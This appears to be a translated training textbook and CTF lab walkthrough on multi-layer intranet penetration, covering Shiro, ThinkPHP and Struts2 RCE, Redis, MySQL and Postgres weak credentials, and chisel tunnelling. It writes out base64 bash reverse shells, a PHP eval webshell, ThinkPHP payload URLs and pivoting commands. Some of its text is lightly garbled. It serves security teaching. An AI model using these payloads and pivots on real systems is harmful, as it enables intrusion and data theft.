Chapter 1　Intranet Penetration

The essence of intranet penetration (lateral movement / pivoting) is this: the attacker first compromises a machine that can "see" the intranet (a jump host), then uses that machine to probe, access, and penetrate the intranet behind it. This jump host is usually a dual-homed host — it is connected to two different network segments at once, and we hop segment to segment across these "bridges," moving inward one layer at a time.

Attack Chain Model

An attack like this is usually broken down into six steps (corresponding to the chapters of this textbook):

This lab has three parallel skill tracks:

1. Exploitation: Shiro → ThinkPHP → Struts2 — all cases of code execution caused by a web framework treating external input as code/objects/expressions.
2. Data Access: Redis / MySQL / Postgres — reaching data directly via weak credentials, or abusing database features to write files and elevate privileges.
3. Tunneling and Lateral Movement: chisel port forwarding + SOCKS, proxychains, multi-level jump hosts. This is thecore capability that ties the first two tracks together and extends the attack's reach.

1.4 Lab Environment and Preparation

1.4.1 Lab Network Topology

1.4.2 Host Asset Inventory

1.4.3 Tools Required on the Attacker Machine

Set up a simple HTTP file server (put fscan, chisel, etc. in the same directory):

cd ~/tools          # 放入 fscan、chisel 二进制
python3 -m http.server 80
# 目标机用 wget http://192.168.200.129/<文件名> 拉取

“

This is the most common way totool deliverydeliver tools in intranet penetration: the attacker machine runs HTTP and lets the intranet machine wget pull the tools.

Chapter 2　Vulnerabilities and Tunneling Principles

2.1 Shiro RememberMe Deserialization

2.1.1 Background: What is "remember me"

Web apps often provide a "remember me" feature: users don't have to re-enter their password on the next visit. The implementation serializes the login state into an object. serializes the login state into an object, encrypts it, then places it in a Cookie (in Shiro it's called rememberMe). On the next visit, the server reads the Cookie → decrypts → deserializes it back into an object → restores the session state.

2.1.2 Root Cause of the Vulnerability

The problem lies in step ⑤ (deserialization) and step ② (encryption):

1. Predictable key: Shiro uses a fixed AES key, which it uses for encryption/decryption by default for encryption/decryption by default. In early versions the key was hardcoded in the source code/public material, such as kPH+bIxk5D2deZiIxcaaaA==.
2. Unsafe deserialization:ObjectInputStream.readObject() it does not validate the object type and will load arbitrary Java classes.

So an attacker can:

• use the known AES key to encrypt a maliciously crafted serialized Java object into a rememberMe Cookie;
• after the server decrypts it, readObject() the object's "Gadget chain" (exploit chain) gets triggered, ultimately executing arbitrary commands.

This is Shiro deserialization (CVE-2016-4437, commonly known as Shiro-550).

2.1.3 What is a Gadget Chain (Exploit Chain)

The key to a Java deserialization vulnerability is finding a chain of classes whose processing runs from readObject() all the way to Runtime.exec()" — this is called a Gadget Chain (exploit chain). Common ones include:

• CommonsCollections (ysoserial core chain, CC1~CC7)
• CommonsBeanutils (BeanComparator)
• Spring / Groovy / etc.

These chains essentially exploit the reflection callbacks of objects—for instance, HashMap, DynamicProxy, TemplatesImpl, and InvokerTransformer, turning "reading an object" into "executing a method" step by step.

2.1.4 How the ShiroAttack2 Tool Works

Once you understand the principle, the tool makes sense:

“

Development background: the original shiro_attack had the NoCC (no echo) problem,ShiroAttack2 fixed it, so you can see the command output directly in the GUI. That's also why it's faster than manually using ysoserial.

2.1.5 Defense Points

• Don't use a predictable/public key; generate a random key for each deployment.
• Upgrade Shiro to a patched version.
• Limit Cookie size, and apply length/format whitelist validation to rememberMe.

2.2 Struts2 OGNL Injection

2.2.1 Background: OGNL and ValueStack

Apache Struts2 uses OGNL (Object-Graph Navigation Language) to bind the parameter names/values in HTTP requests to objects on the backend's ValueStack (value stack). OGNL is an expression language that can navigate object graphs, call methods, and access static members.

HTTP 参数  --OGNL表达式解析-->  ValueStack(值栈)  --(反射赋值)--> 控制器/模型对象

If the framework mistakenly evaluates "user-controllable strings" as OGNL expressions, an attacker can inject malicious expressions to execute arbitrary commands.

2.2.2 S2-045 and S2-046 (CVE-2017-5638)

When Struts2's Jakarta file upload component parses upload requests, it evaluates the Content-Type header (S2-045) or the Content-Disposition/filename (S2-046) as an OGNL expression.

The attack payload looks like this (conceptual illustration):

Content-Type: %{(#_='multipart/form-data').(#cmd=...)(#cmd='whoami')...}

Here it uses # to reference the context, and %{...} / ${...} to trigger expression evaluation. Once these and similar entries relax access control, the #context['xwork.MethodAccessor'] and similar things relax access control, it can reach Runtime to execute system commands.

The relationship between S2-045 and S2-046: the two share nearly the same mechanism and both fall under CVE-2017-5638 ; they differ only in the trigger point:

• S2-045: injects in the Content-Type header.
• S2-046: injected into the Multipart upload Content-Disposition or filename parameter.

“

In this lab, fscan reports poc-yaml-struts2_045, while the official writeup's title says S2-046. In practice these tools usually catch the whole ST chain at once, so there's no need to quibble over the exact number — but it's worth understanding the root cause: "OGNL injection → command execution".

2.2.3 Defensive measures

• Upgrade to a version not affected by CVE-2017-5638.
• Disable or replace the Jakarta upload parser, or add a WAF rule to block OGNL signature strings in the Content-Type/filename (%{, #, Runtime, etc.).

2.3 ThinkPHP method-call / filter RCE

2.3.1 Background

ThinkPHP 5, a PHP framework, whose route dispatching lets request parameters invoke the corresponding controller/method. When the framework **lets users control "which class, which method, and what arguments to call"** without a whitelist, arbitrary method invocation → command execution becomes possible.

2.3.2 Two common exploitation techniques

① invokefunction method-call RCE (early ThinkPHP 5.x)

Use route parameters to make think\App::invokefunction call an arbitrary function:

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id

• Meaning: invokefunction in function is set to call_user_func_array, vars[0] is the called function system, and vars[1][] is the argument id. So it executes system('id').

② __construct + filter filter RCE (specific ThinkPHP 5.0.x versions)

ThinkPHP's Request class has a filter property used to "filter" the input. If an attacker uses the HTTP method _method=__construct to overwrite filter with system, sets a method as get, and then triggers some input, that input is processed by system → command execution.

This corresponds to tp5_construct_code_exec_1/2 in the writeup.

2.3.3 Session-include RCE (tp5_session_include)

ThinkPHP serializes sessions to a local file (under runtime/). If an attacker can:

1. put a snippet of executable PHP code into the session content;
2. then use a "file inclusion" vulnerability to include that session file as a template/file;

PHP will execute the code inside the session file as PHP. This is tp5_session_include.

2.3.4 Defensive measures

• Upgrade ThinkPHP to ≥ 5.0.23 patched / 5.1 / 6.x.
• Strictly restrict routes and controller whitelists; disable dangerous behavior like invokefunction.
• Don't enable configurations that let session files be referenced/included from the web directory.

2.4 Weak database credentials and file write

2.4.1 Redis: key-value database and AUTH

Redis is an in-memory key-value store with no authentication by default. If requirepass is configured, clients must authenticate with AUTH <密码>.

Why weak credentials are dangerous:

• After brute-forcing/guessing the password, an attacker can read/write arbitrary keys (KEYS * / GET) and directly read sensitive data (this lab's flag is stored in the flag key).
• Worse still, if Redis can write dir + dbfilename and save persistence, you can write files to arbitrary system paths, and from there drop a Webshell, write to authorized_keys for SSH login, or plant a cron job.

2.4.2 MySQL: secure_file_priv and INTO OUTFILE

MySQL lets you write query results to server files:

SELECT '...' INTO OUTFILE '/path'

but it's gated by the global variable secure_file_priv:

Exploit chain (escalating database privileges to web privileges):

1. Confirm secure_file_priv is empty;
2. use INTO OUTFILE to write a PHP one-liner webshell into the web root;
3. access that file and connect with AntSword → gain host privileges.

PHP one-liner webshell:<?php @eval($_POST["shell"])?> — receives the POST parameter shell and executes it with eval; it's the minimalist form of a WebShell.

2.4.3 PostgreSQL: superuser and pg_hba.conf

PostgreSQL's default superuser is postgres. If a weak password is hit (e.g. postgres:password), you can log in as superuser and enumerate all databases/tables.

**Security config option pg_hba.conf**: controls "which clients, which databases, and which auth methods can connect". If set to trust, no password is needed at all. In production, restrict source networks and require strong auth such as scram-sha-256.

2.4.4 Defensive measures

• Bind database services only tointernal/isolated network segments, never expose them to the public internet.
• Strong passwords + regular rotation + rate-limiting and lockout on failures.
• secure_file_priv set to a controlled directory, don't leave it empty; the web root must not be writable by the database process.
• Least privilege: separate application accounts from DBA accounts.

2.5 Internal-network tunneling and multi-hop pivoting

2.5.1 Why you need tunnels

Hosts inside the intranet can talk to each other, butthe attacker machine (Kali) is separated from those intranet hosts by a firewall/NAT. Two typical connectivity problems arise:

1. Kali can't reach the intranet (the intranet uses private addresses and isn't reachable from the public internet).
2. The intranet hosts also can't initiate connections to Kali (outbound traffic is restricted, or they simply don't know about the outside world).

A tunnel is,using a machine you've already compromised that can communicate with both the internal and external networks (a pivot), a way to "carry" attack traffic into the intranet, or carry intranet traffic back out.

2.5.2 A dual-NIC host = a natural bridge

This host sits on both network segment A and network segment B, making it a natural relay point. By placing tools on it—or having it forward traffic—you can work your way from Kali all the way to the innermost layer.

2.5.3 Forward tunnel vs. reverse tunnel (chisel's two modes)

Forward:chisel client <server> <local>:<remote> —— listens on a local port on the client and connects to remote (a target reachable from the server).

Reverse (using the R: prefix): has the target machine actively connect back to the attacker's chisel server, then opens a port on the server that maps to an address the target can reach.

Rule of thumb:

• If the target can actively connect to Kali → use reverse (R:).
• If Kali can connect directly to the target → use forward (no R:).
• In both cases, the machine running chisel's server/service acts as the "relay brain."

2.5.4 SOCKS proxy: open up an entire subnet at once

Single-port forwarding can only "carry" one service at a time. If the intranet has many services, a better approach is to set up a SOCKS5 proxy:

Then on the attacker machine, proxychains4 will force any program (such as pgcli,redis-cli,curl) to route traffic through this SOCKS proxy, letting you reach the entire intranet subnet.

2.5.5 Multi-hop pivoting (three layers of nesting)

When the network spans more than one layer, you have to "build bridges" one layer at a time. In this lab, for Kali to reach layer 3 172.56.102.0/24, it needs to:

Key insight (a warning point from the writeup): in the deeper layers, the proxy's main server address can't be Kali, it must be the deeper-layer pivot that already has port forwarding set up (phpMyAdmin, in this case). Because layer 3 can't reach Kali at all—it can only connect to "the controlled machine closest to it."

Why nest them this way:

1. phpMyAdmin (layer 2) can't reach Kali on the public internet, but it can reach ThinkPHP;
2. ThinkPHP can reach Kali;
3. so have ThinkPHP act as an intermediate hop ("relaying" phpMyAdmin's connection onward to Kali).
4. The SOCKS exit ultimately lands on Kali, but the traffic actually gets forwarded into layer 3 through phpMyAdmin.

“

Multi-hop pivoting in one sentence:each hop only connects the traffic of "two adjacent layers," like a relay race. The deeper the target, the more "hops" you need.

2.5.6 Choosing a tunneling tool

This book uses chisel throughout (single binary, cross-platform, simple commands).

Chapter 3　Stage one: breaking the perimeter — Shiro

“

Goal: from the only externally exposed port 8080 take down the first host, get a root shell, and map out the layer-1 intranet.

3.1 Learning objectives for this chapter

• Learn to identify a Shiro application via the RememberMe field.
• Understand and use ShiroAttack2 to perform deserialization RCE.
• Master the "reverse shell + base64 encoding" delivery technique.
• Learn to determine the subnet with ifconfig and do intranet discovery with fscan.

3.2 Prerequisites

• Basic HTTP request/response and cookie concepts.
• Java deserialization and gadget chains (see §2.1).
• Reverse shell (/dev/tcp,bash -i).

3.3 Why attack it this way

The only entry point is 8080, and the response body shows RememberMe — this is a strong sign of Shiro deserialization.Confirm the framework first, and only then can you pick the right tool, so you don't waste time fuzzing a non-Shiro application. Once you've taken it over, there are two things to do:get a reverse shell (for an interactive session) and scan the intranet (to find the next target).

3.4 Lab Setup

# Kali 上
which python3    # 用于起 HTTP 文件服务器（投递工具）
# 确认 pwncat-cs 或 nc 可用
pwncat-cs -h >/dev/null 2>&1 && echo "pwncat ok" || echo "use nc"

3.5 Step-by-Step Walkthrough

Step 1: Identify the Shiro Fingerprint

Capture the request packet and confirm that the request header/response contains RememberMe:

Cookie: JSESSIONID=...; rememberMe=xxx

Expected result: see the rememberMe field → proceed with Shiro deserialization exploitation.

Note: this is exactly the "give me a place where objects can be serialized" idea from §2.1 — rememberMe is the entry point.

Step 2: Exploit with ShiroAttack2

Open ShiroAttack2 and fill in the target address (e.g. http://<入口IP>:8080), then first detect/brute-force the key, and once a hit is found, select echo command execution.

Expected result: the tool reports it hit the default key kPH+bIxk5D2deZiIxcaaaA== and can execute commands directly.

Why brute-force the key first: Shiro must use the correct AES key to encrypt the payload. ShiroAttack2 automatically tries common key dictionaries and, once it hits, can craft a valid Cookie.

Step 3: Read the First Flag

cat /flag.txt

Note: verifies that the "deserialization → file read" path works.

Step 4: Get a Reverse Shell (Gain an Interactive Session)

# 把" /bin/bash -i >& /dev/tcp/192.168.200.129/9999 0>&1 " 用 base64 编码
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjEyOS85OTk5IDA+JjE= | base64 -d > /tmp/shell.sh
chmod +x /tmp/shell.sh
/bin/bash /tmp/shell.sh

Start a listener on Kali:

pwncat-cs -lp 9999
# 看到 received connection from 192.168.200.2:... 即成功

Why use base64: directly passing bash -c "/bin/bash -i >& /dev/tcp/.../9999 0>&1" — the quotes, redirects, and & — easily breaks during transport/escaping. Encoding to base64 first and then decoding on the target sidesteps special-character issues, and the payload is "cleaner" so it won't cause terminal escape-sequence chaos.

Expected result:whoami returnsroot (in the WriteUp example, root).

“

Troubleshooting: if the reverse shell doesn't connect — ① check whether Kali is listening and whether the port is correct; ② check whether the target has outbound network access (a successful callback means outbound access is available and a reverse tunnel is viable; if not, you'll need a forward tunnel or an intermediate relay).

Step 5: Scan the Intranet (Upload fscan)

(remote) root@...:/tmp# wget 192.168.200.129/fscan
(remote) root@...:/tmp# chmod +x fscan
(remote) root@...:/tmp# ifconfig
# eth0: inet 192.168.100.3  ← 所在网段
(remote) root@...:/tmp# ./fscan -h 192.168.100.0/24

ifconfigThe significance of this (key point): figure out "which subnet I'm on and how many NICs I have" before you can know who else can be attacked.

fscan reveals the Layer 1 structure:

192.168.100.2:80 open
192.168.100.2:9000 open            # FCGI
192.168.100.3:8080 open
[+] FCGI 192.168.100.2:9000        # X-Powered-By: PHP/7.3.33 → ThinkPHP 特征
[*] WebTitle http://192.168.100.2 title:None
[*] WebTitle http://192.168.100.3:8080 title:Login Page / jsessionid
[+] PocScan http://192.168.100.2 poc-yaml-thinkphp5023-method-rce poc1
[+] PocScan http://192.168.100.3:8080/ poc-yaml-shiro-key [{key kPH+bIxk5D2deZiIxcaaaA==} {mode cbc}]

Reading the output:

• FCGI + X-Powered-By: PHP/7.3.33 → this is PHP/ThinkPHP.
• poc-yaml-thinkphp5023-method-rce → fscan directly hits the ThinkPHP 5.0.23 method-call RCE.
• poc-yaml-shiro-key → confirms the Shiro key kPH+bIxk5D2deZiIxcaaaA== and CBC mode (exactly what we exploited in the first phase).

Layer 1 conclusion:Thinkphp 192.168.100.2,Shiro 192.168.100.3.

3.6 Common Troubleshooting

3.7 Chapter Summary

“

Use the "framework fingerprint" at the only entry point to pick the right tool precisely → deserialization RCE → reverse shell for an interactive session → ifconfig + fscan to discover the subnet and the next target. The core takeaways are three things: "confirm the framework + establish an interactive session + gather intranet intelligence."

3.8 Questions and Exercises

1. Why must you first confirm the framework is Shiro before using ShiroAttack2? Give a counter-example of what happens if you don't.
2. What are the two necessary conditions for Shiro deserialization? (the key & unchecked deserialization)
3. Why do attackers prefer a "reverse shell" over "just executing commands inside a tool"?
4. Do the results of ip a and ifconfig differ? Why should you pay attention to "multiple NICs / multiple subnets"?
5. Advanced: if you don't get a reverse shell and rely only on ShiroAttack2's "echo command execution," can the subsequent intranet scan still be carried out? Why or why not?

Chapter 4 — Phase Two: Lateral Movement — ThinkPHP

“

Goal: use Shiro as a pivot to reach and compromise the ThinkPHP at 192.168.100.2, obtain a www-data shell, and use it (dual-homed) to discover the Layer 2 network.

4.1 Chapter Objectives

• Understand and practice single-port reverse port forwarding (chisel).
• Use thinkphp_gui_tools to complete the ThinkPHP 5 RCE.
• Understand the role of a "dual-homed host" as a pivot.
• Use fscan to discover the Layer 2 subnet.

4.2 Prerequisites

• §2.5 Tunnel fundamentals (forward/reverse, port forwarding).
• §2.3 ThinkPHP RCE fundamentals.
• Able to read fscan output.

4.3 Why Attack This Way

Shiro (100.3) can reach 192.168.100.2 (on the same subnet), but Kali cannot reach it directly. So first use chisel to 192.168.100.2:80 share it to a local Kali port 10001; then Kali can access this intranet web service as if it were local. Next, run the RCE against ThinkPHP, grab a www-data shell, and scan to discover Layer 2.

4.4 Lab Setup

# 确保 Kali 已有 chisel 服务端二进制并已启动
# 目标机（Shiro）需能 wget 到 chisel 二进制

4.5 Step-by-Step Walkthrough

Step 1: Shiro port forwarding (share ThinkPHP's port 80 to Kali)

Start the chisel reverse server on Kali:

 title="Kali"
./chisel_1.9.1_linux_amd64 server -p 1331 --reverse &
# Reverse tunnelling enabled
# Listening on http://0.0.0.0:1331

On the Shiro side (target machine), establish the reverse tunnel:

 title="Shiro"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 R:0.0.0.0:10001:192.168.100.2:80 &

Kali will now show:

# server: session#4: tun: proxy#R:10001=>192.168.100.2:80: Listening

Command explanation:

• chisel client 192.168.200.129:1331: Shiro first connects back to Kali's chisel main server (reverse).
• R:0.0.0.0:10001:192.168.100.2:80: the **R: flag means **reverse** — on the server side (Kali) open 10001, and forward any traffic arriving at 10001 to the client (Shiro), which can reach 192.168.100.2:80.

Result:http://127.0.0.1:10001 is equivalent to the intranet http://192.168.100.2.

Step 2: ThinkPHP vulnerability detection and exploitation

Point thinkphp_gui_tools at http://127.0.0.1:10001 and detect first:

[+] 目标存在 tp5_construct_code_exec_2 漏洞
[+] 目标存在 tp5_construct_code_exec_1 漏洞
[+] 目标存在 tp5_session_include 漏洞

Once confirmed, pick the most stable path for command execution / getshell.

Step 3: Read the second flag

cat /flag.txt        # 在 ThinkPHP 主机 /flag.txt

Step 4: ThinkPHP reverse shell

ThinkPHP has egress access, so fire off a reverse shell directly:

 title="ThinkPHP"
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMjAwLjEyOS85OTk4IDA+JjE= | base64 -d > /tmp/shell.sh
chmod +x /tmp/shell.sh
/bin/bash /tmp/shell.sh

 title="Kali"
pwncat-cs -lp 9998
(remote) www-data@4c2afff6c232:/var/www/public$ whoami
www-data

Note: www-data is the web user, with slightly lower privileges than root, but enough for intranet scanning and further pivoting.

Step 5: ThinkPHP intranet scan (discover layer 2)

(remote) www-data@...:/tmp$ wget 192.168.200.129/fscan
(remote) www-data@...:/tmp$ chmod +x fscan
(remote) www-data@...:/tmp$ ifconfig
# eth0: inet 192.168.100.2   ← 第1层
# eth1: inet 10.85.101.3     ← 新网段！双网卡！
(remote) www-data@...:/tmp$ ./fscan -h 10.85.101.0/24

fscan reveals the layer-2 structure:

10.85.101.4:80 open
10.85.101.2:6379 open           # Redis
10.85.101.4:9000 open           # phpMyAdmin FCGI
[*] WebTitle http://10.85.101.4 title:phpMyAdmin
[+] InfoScan http://10.85.101.4 [phpMyAdmin]
[+] PocScan http://10.85.101.4 poc-yaml-php-cgi-cve-2012-1823
[+] PocScan http://10.85.101.3 poc-yaml-thinkphp5023-method-rce poc1

Layer 2 findings:phpMyAdmin 101.4, Thinkphp 101.3, Redis 101.2.

4.6 Common troubleshooting

4.7 Chapter summary

“

A single port reverse tunnel moves the "intranet web service" to Kali → ThinkPHP RCE → a www-data shell → ifconfig reveals it's a dual-NIC host, and a scan uncovers layer 2. The key takeaway is the first "cross-segment pivot" (port forwarding), which is also the foundation for the SOCKS and multi-hop pivoting covered later.

4.8 Questions and exercises

1. R:0.0.0.0:10001:192.168.100.2:80 what does R: represent? Why is it called "reverse"?
2. Why use "single-port forwarding" here instead of a full SOCKS tunnel? (Layer 2 has few services, so open one path first and go from there)
3. ThinkPHP has egress access, and so does Shiro — why bother with chisel's complexity? (Think: without forwarding, Kali can't reach 100.2's port 80 at all)
4. Advanced: what would change if we swapped the order of the deserialization and ThinkPHP RCE (hit ThinkPHP first, then Shiro)?
5. Advanced: can www-data write to /var/www/wwwroot? Why do webshells typically get written to the web root rather than elsewhere?

Chapter 5　Stage 3: Lateral movement — Redis and phpMyAdmin

“

Goal: on layer 2, take down Redis (weak password) and phpMyAdmin (root/root + write a webshell + reverse shell), then use phpMyAdmin (dual-NIC) to discover layer 3.

5.1 Chapter learning objectives

• Master the pairing of SOCKS tunnels (chisel) with proxychains.
• Use redisbrute to brute-force Redis, and redis-cli to read data.
• Log into phpMyAdmin with a weak password, write a webshell via MySQL INTO OUTFILE, and connect with AntSword.
• Understand the reverse-shell trick of "when an intranet host has no egress, borrow an outer host for reverse forwarding."
• Use fscan to discover layer 3

5.2 Prerequisites

• §2.5 Tunnels, SOCKS, and multi-hop pivoting.
• §2.4 Database weak passwords and file writes.
• Basic Redis / MySQL commands.

5.3 Why attack this way

Layer 2 has many services (Redis, phpMyAdmin), so just build a SOCKS proxy up front and be done with it. After that:

• For Redis: forward 6379 out separately (more stable for brute-forcing/connecting), crack the password with redisbrute, and read the flag.
• For phpMyAdmin: log in with the weak credentials root/root, write a one-liner webshell via INTO OUTFILE, connect with AntSword to take control, and get a root reverse shell.
• Finally, scan the phpMyAdmin host to discover layer 3.

5.4 Lab preparation

# 准备 redisbrute、redis-cli、pgcli（第 6 章用）、proxychains4
proxychains4 -h >/dev/null 2>&1 && echo ok
# 确认 /etc/proxychains4.conf 里 socks5 指向 Kali 的 SOCKS 端口

5.5 Step-by-step procedure

Step 1: ThinkPHP establishes a SOCKS tunnel

 title="ThinkPHP"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 R:0.0.0.0:10002:socks

 title="Kali"
# server: session#6: tun: proxy#R:10002=>socks: Listening

Note:R:0.0.0.0:10002:socks makes Kali's 127.0.0.1:10002 a SOCKS5 proxy, routing through ThinkPHP to reach the entire 10.85.101.0/24.

Step 2: Redis port forwarding + brute-force

Forward Redis 6379 out separately:

 title="ThinkPHP"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 R:0.0.0.0:16379:10.85.101.2:6379

./redisbrute --ip 127.0.0.1 --port 16379 --passwords /usr/share/wordlists/rockyou.txt
[+] Valid password found - 12345

Why forward Redis separately: brute-forcing/connecting to Redis needs a stable direct channel; mapping it to Kali's local 16379 is more controllable than going through SOCKS.redisbrute Use rockyou.txt (Kali's built-in wordlist) to try common passwords.

Step 3: Read the Redis flag

redis-cli -h 127.0.0.1 -p 16379 -a "12345"
127.0.0.1:16379> KEYS *
1) "flag"
127.0.0.1:16379> GET flag
"WSS-Studio{Redis-870ed89a-6658-4350-8d17-9f293df5c6b1}"

Note:-a authenticate with the password (it'll warn about the password being exposed in plaintext on the command line — acceptable in a teaching environment; in production, use interactive AUTH).KEYS * enumerate all keys, and GET read the value.

Step 4: phpMyAdmin weak-credential login

Set up the proxy (SOCKS) in the browser and visit http://10.85.101.4/:

数据库地址: localhost
用户名:     root
密码:       root

Expected result: You successfully enter phpMyAdmin.

Step 5: Read the flag in MySQL

Find the corresponding flag record in the database (SELECT * FROM ...).

Step 6: Write a Webshell via MySQL

First, confirm the writable path:

show global variables like '%secure%'

See secure_file_priv is empty → arbitrary path writes are allowed. Then write a one-liner webshell:

select '<?php @eval($_POST["shell"])?>' into outfile '/var/www/html/shell.php'

Open /shell.php to confirm the file was created; then connect with AntSword, password shell.

Why this works: all three preconditions must be met at once.secure_file_priv is empty, the web root is writable by MySQL, and we know the web root path (/var/www/html).

Step 7: phpMyAdmin reverse shell (forwarded through the outer hop)

phpMyAdmin sits in an isolated internal network and can't reach Kali directly, so we have ThinkPHP perform one layer of forwarding:

 title="Thinkphp"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 8888:0.0.0.0:8888
# tun: proxy#8888=>0.0.0.0:8888

Traffic path:

phpMyAdmin(10.85.101.4) --Reverse Shell--> ThinkPHP(10.85.101.3):8888
ThinkPHP(10.85.101.3):8888 --Port Forward--> Kali(192.168.200.129):8888

Kali listens:

nc -lvnp 8888
# connect to [127.0.0.1] ...
whoami
root

Why this path works: phpMyAdmin can't reach Kali, but it can reach ThinkPHP on the same subnet (ThinkPHP has outbound access and an established tunnel to Kali). ThinkPHP uses 8888:0.0.0.0:8888 to "forward traffic to Kali 8888"; phpMyAdmin reverses back to ThinkPHP:8888, and ThinkPHP relays it all the way back to Kali. This demonstrates the real-world technique of multi-hop pivoting + reverse forwarding.

Step 8: phpMyAdmin internal scan (discovering layer 3)

(remote) root@...:/tmp# ifconfig
# eth0: inet 10.85.101.4
# eth1: inet 172.56.102.4   ← 新网段！双网卡！
(remote) root@...:/tmp# ./fscan -h 172.56.102.0/24

fscan detects the layer 3 structure:

172.56.102.4:9000 open
172.56.102.4:80 open
172.56.102.1:22 open
172.56.102.2:5432 open            # Postgres
172.56.102.3:8009 open            # Struts2
172.56.102.3:8080 open
[*] WebTitle http://172.56.102.4 title:phpMyAdmin
[+] InfoScan http://172.56.102.4 [phpMyAdmin]
[+] Postgres:172.56.102.2:5432:postgres password    # 弱口令被直接爆出
[*] WebTitle http://172.56.102.3:8080 title:$Title$
[+] PocScan http://172.56.102.3:8080 poc-yaml-struts2_045 poc1

Layer 3 conclusion:phpMyAdmin 102.4, Postgres 102.2, Struts2 102.3. We also gain two pieces of intel: a weak Postgres password postgres:password, and Struts2 has struts2_045.

5.6 Common troubleshooting

5.7 Chapter summary

“

The SOCKS tunnel opened up layer 2, where Redis was brute-forced and the flag read. Then phpMyAdmin's weak credentials allowed an INTO OUTFILE webshell, and with AntSword reversed through the outer hop, after which fscan discovered layer 3. Three capabilities at play: exploiting database weak credentials, privilege escalation by writing files from the database, and reversing through an intermediary.

5.8 Discussion and exercises

1. What scenarios suit a SOCKS tunnel vs. single-port forwarding? Why did we use SOCKS for layer 2 but forward Redis separately?
2. INTO OUTFILE What three preconditions must hold for a successful write? What happens if one is missing?
3. Why can't phpMyAdmin reverse directly back to Kali, and why have ThinkPHP forward a layer instead?
4. Advanced: if Redis is configured with dir=/var/www/html and dbfilename=shell.php, can you use CONFIG SET to write a webshell? Compare it with MySQL's INTO OUTFILE.
5. Advanced: why can fscan directly report Postgres: postgres password? What does that tell us (the basic principle of weak-password scanning)?

Chapter 6　Phase four: two-layer internal network — Struts2 and Postgres

“

Goal: break through the "three-hop relay" to reach the innermost 172.56.102.0/24, take down Struts2 (S2-045/046) and Postgres (weak password), and collect the final flag.

6.1 Learning objectives

• Understand and practice multi-hop pivoting / three-layer SOCKS tunneling.
• Use Struts2 exploit tools to achieve S2-045/046 RCE.
• Use pgcli weak password to log in to Postgres and read data.
• Understand the key point that the innermost proxy server must not be Kali — it must be the innermost controlled hop.

6.2 Prerequisites

• §2.5 Multi-hop pivoting (relay forwarding).
• §2.2 Struts2 OGNL injection.
• §2.4 Postgres weak password.

6.3 Why attack this way

The innermost 172.56.102.0/24 is a "two-layer internal network" that can't reach Kali, nor can it directly access the outer proxy server. So we need to:

1. Have ThinkPHP transparently forward port 1331 (it's close to the outer layer);
2. Build another SOCKS tunnel on phpMyAdmin and point the "master proxy server" at phpMyAdmin itself (not Kali);
3. Finally, Kali reaches layer 3 through SOCKS and attacks Struts2 + Postgres.

6.4 Lab preparation

# 把 chisel 二进制传到 phpMyAdmin（可用蚁剑上传，或 wget 一个经转发可达的地址）
# 确保 Kali 上配好了 proxychains4.conf 指向 SOCKS 端口

6.5 Step-by-step operations

Step 1: Port passthrough on ThinkPHP

 title="Thinkphp"
./chisel_1.9.1_linux_amd64 client 192.168.200.129:1331 1331:1331
# tun: proxy#1331=>1331: Listening

Meaning: ThinkPHP connects back to Kali on port 1331, listens locally on its own port 1331, and forwards the traffic it receives to Kali's 1331. This opens a route to the Kali master server for the "deeper phpMyAdmin".

Step 2: Establish a SOCKS tunnel on phpMyAdmin

After transferring chisel to phpMyAdmin, run:

./chisel_1.9.1_linux_amd64 client 10.85.101.3:1331 R:0.0.0.0:10005:socks

On the Kali side you'll see session#20: tun: proxy#R:10005=>socks: Listening.

Why use 10.85.101.3:1331 (ThinkPHP) as the proxy's master server address instead of Kali: phpMyAdmin sits on layer 2, so it can't reach the external Kali, but it can reach ThinkPHP (same subnet, with an established tunnel to Kali). So phpMyAdmin relays its "connection to Kali" through ThinkPHP.

“

⚠️ Key reminder: in a two-layer internal network, the master proxy address must not be Kali — it should instead be the innermost controlled host with the port forward established (phpMyAdmin).

Step 3: Struts2 exploitation (S2-045/046)

Access 172.56.102.3:8080 through SOCKS, and then use Struts2VulsScanTools to detect and exploit it.

Tool details: abc123info/Struts2VulsScanTools — set the target and vulnerability type in the GUI, then run commands with one click (it essentially builds an OGNL payload to hit S2-045/046).

Expected result: you can execute commands and read the flag on that host.

“

A note on the numbering: fscan reports struts2_045, while the writeup title says S2-046; both fall under CVE-2017-5638 (OGNL injection in the Jakarta file-upload component), and the difference lies only in the trigger point (Content-Type header vs Content-Disposition/filename). Exploitation tools can usually hit both, so just understand the root cause — "OGNL injection → command execution."

Step 4: Read the flag on the Struts2 host

“

The screenshot in the writeup is captioned "flag - phpMyAdmin," but it is actually the 5th flag—read through the Struts2 host (chapter numbering is easy to mix up). Read it the same way as before: pull the flag file from the command-execution output.

Step 5: Log into Postgres with a weak password and read the flag

fscan already reported postgres:password. Access 172.56.102.2:5432 through SOCKS:

proxychains4 pgcli -h 172.56.102.2 -u postgres
# Password for postgres: password
postgres> \l                # 列出所有数据库
postgres> \c flag           # 连到 flag 库
postgres@172.56.102.2:flag> \dt          # 列出表
postgres@...:flag> SELECT * FROM flag
+-------------------------------------------------------------+
| data                                                        |
| WSS-Studio{Postgresql-cb6cba4a-6d7b-43b6-bfc4-0146b0d0e5af} |
+-------------------------------------------------------------+

Why this works: postgres is the PostgreSQL superuser, and the weak password password was guessed on the first attempt; once logged in you can enumerate every database and table.

Command notes:

• proxychains4 pgcli ...: routes pgcli through the SOCKS tunnel into the internal network.
• \l lists databases, \c <db> connects to one, \dt lists tables, and SELECT * FROM <table> reads data.

The 5th/final flag: read from the flag database's flag table in Postgres. At this point all targets (hosts and databases on layers 1, 2, and 3) have been taken.

6.6 Common troubleshooting

6.7 Chapter summary

“

Three-layer pivoting (Kali→ThinkPHP→phpMyAdmin→layer 3) + Struts2 S2-045/046 RCE + Postgres weak-password readout from the database. The core takeaway is the technical pinnacle of this course: understand the multi-hop relay logic that "the innermost proxy master must be the innermost compromised jump host", and be able to pull the final data from a plain database weak password.

6.8 Review questions and exercises

1. Why can't Kali be the proxy master for layer 3? Explain in terms of connectivity.
